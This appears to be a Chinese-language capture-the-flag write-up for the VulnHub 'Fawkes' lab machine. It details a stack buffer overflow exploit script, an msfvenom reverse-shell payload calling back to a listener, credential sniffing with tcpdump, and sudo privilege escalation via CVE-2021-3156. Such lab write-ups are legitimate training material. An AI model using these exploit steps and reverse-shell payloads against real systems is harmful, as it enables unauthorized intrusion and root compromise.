靶机:https://download.vulnhub.com/harrypotter/Fawkes.ova
难度:高
目录
目标:取得 2 root 权限 + 3 Flag
涉及攻击方法:
- 主机发现
- 端口扫描
- WEB信息收集
- FTP服务攻击
- 缓冲区溢出
- 模糊测试
- 漏洞利用代码编写
- 流量转包分析
- 堆溢出漏洞攻击
- Metasploit(MSF)
- 手动修复EXP代码
- 本地提权
主机发现
arp-scan -I eth0 -l (eth0 为当前kali使用的网卡)
端口扫描探测
FTP服务攻击
ftp 的vsftp 3.0.3存在远程拒绝服务漏洞
并允许匿名登录存在文件 server_hogwarts
下载文件server_hogwarts文件
get server_hogwarts
查看文件类型
file server_hogwarts
ELF 32位在linux是可执行程序
添加执行权限并执行,查看文件进程
查看运行server文件以后是否在本地开放端口
探测靶机端口时也开放有9898端口,检测是否是一个服务,发现是一样的
尝试连接靶机的9898端口,是一样的,没有发现可用的信息
缓冲区溢
进行缓冲区溢出的探测
先关闭alsr功能(alsr功能可以让固定的程序在内存中占用的内存地址都不一样,没有规律,来保护服务器的安全性)
将randomize_va_space文件的赋值改成0(需要root权限)
用edb-debugger调试工具来进行调试
kali默认没有,需要先下载
apt-get install edb-debugger
需要等待几分钟下载完成
安装完成,来启动,比较友好的图形化的调试工具
启动后的界面是这样子滴
通过file->attach来定位服务
模糊测试
找到以后点击OK,就可以对服务进行调试了
进来以后点击run按钮,让程序跑起来
然后对程序发起探测请求
对输入的地方注入500个大写的A,可以用python生成。
python3 -c "print('A'*500)"
将500个A放入输入的地方,调试器就报错
通过报错,可以确认存在缓冲区溢出漏洞(覆盖了EIP,EIP是接下来CPU要执行的代码的地址)(ESP寄存器是存放要执行的具体的代码)
因为ESP被A给覆盖,修改EIP寄存器的内容,将指令强制插入到ESP寄存器中的二进制的具体的指定,指令一旦执行,就可以反弹连接
用msf-pattern_create生成500个不重复的字符来替换A
重新启动一下程序,在尝试
发现ESP已经注入成功
利用msf-pattern_offset 工具计算500个字符的偏移量(64413764为EIP寄存器的位置),可以看到偏移了112位,也就是EIP的四个字节字符的位置是113、114、115、116
漏洞利用代码编写
构造python脚本程序
vi一个exp1.py
具体内容如下
#!/usr/bin/python
import sys,socket
payload = 'A'*112 + "B"*4 + 'C'*32
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('127.0.0.1',9898))
s.send((payload))
s.close()
except:
print("Wrong!")
sys.exit()
给脚本赋予执行权限,重新启动服务以及调试工具(记得点击run)
执行exp,程序报错。
显示42424242,说明是4个大写的B,验证了刚才代码里的4个B可以写入,ESP寄存器的内容全变成了C,说明刚才代码里的能被写入ESP寄存器。
修改EIP寄存器的指令所在的内存地址,将执行的下一条命令的地址指向ESP,ESP 执行的命令改为将要注入的反弹shell的二进制代码命令。
在edb中,找到插件,将EIP跳转到ESP
Plugins -> OpcodeSearcher -> Opcode Search ->
搜索有执行权限的server服务,将EIP跳转到ESP,找到了jmp esp
将内存地址记录下来,并插入4个B所在的位置,这个地址被执行,将跳转到ESP,由于内存地址是从低位到高位去执行,所以将每个字节反着写,将32个C换成执行反弹shell的二进制的代码
0x08049d55 '\x55\x9d\x04\x08'
用msfvenom生成一个二进制反弹shell的文件,刚才用file查看server文件时是32位的,选x86,设置回连的IP以及端口、-b 排除坏字符 -f 输出选择python文件
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.1.1.124 LPORT=4444 -b "\x00" -f py
将buf开头的代码插入到32个C的位置,为了保证程序的正常运行在buf前插入一些空指令(\x90),一般都是4的倍数,当CPU读取的空指令时就会往下滑,一直到所有的空指令结束,读取buf。尽量不到一个字节一个字节的读,插入空指令,不会影响系统的运行。
尝试反弹shell,监听本机4444端口,重启服务,运行exp,连接成功!
修改exp代码,将连接的服务地址改成目标靶机,去攻击目标靶机
重新监听4444端口,运行exp,连接成功
想升级shell发现没有python、bash、但是存在/bin/sh 升级shell成功
目前已经打点成功,接下来尝试提权
查看当前文件,尝试有没有提权的信息,发现有个.mycreds.txt文件,发现一个像密码的字符,并成功登录当前的用户的2222端口
查看当前的IP地址、网卡以及根目录文件时,发现是个docker容器,
发现当前容器有sudo权限,切换成root权限,在root根本目录发现了第一个flag,horcrux1.txt
对horcrux1.txt进行bash64解码是一段话,但是毫无价值
流量转包分析
发现note.txt有有用信息
翻译过来就是有人在尝试登录ftp服务器
用tcpdump抓取tcp的流量包,发现了一个用户名密码 neville/bL!Bsg3k
尝试用这个账号密码登录ssh,可以登录成功,并且是宿主机
堆溢出漏洞攻击
尝试提权,经过大量的信息收集发现了一个可以提权的点,关于sudo的基于堆栈的溢出漏洞
参考连接:
CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog
漏洞针对Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). 有效,目标主机刚好符合Debian 10、Sudo 1.8.27
对主机进行检测是否存在CVE-2021-3156
靶机报错,则说明存在CVE-2021-3156
寻找漏洞代码
在msf当中存在漏洞代码
想要利用需要先和目标靶机建立一个session
使用auxiliary/scanner/ssh/ssh_login 和目标靶机简历一个会话
获取了一个session,使用刚才的CVE进行利用
直接设置一个session运行
发现老失败
最后利用github上的脚本提权
下载地址:
GitHub - worawit/CVE-2021-3156: Sudo Baron Samedit Exploit
最后经过大量的尝试发现目标靶机的sudo路径位置不一样
更改代码
nc的利用
利用nc 将利用代码传到目标靶机
成功提权
利用python3 来执行exp.py
提权成功获取第二个flag
获取第三个flag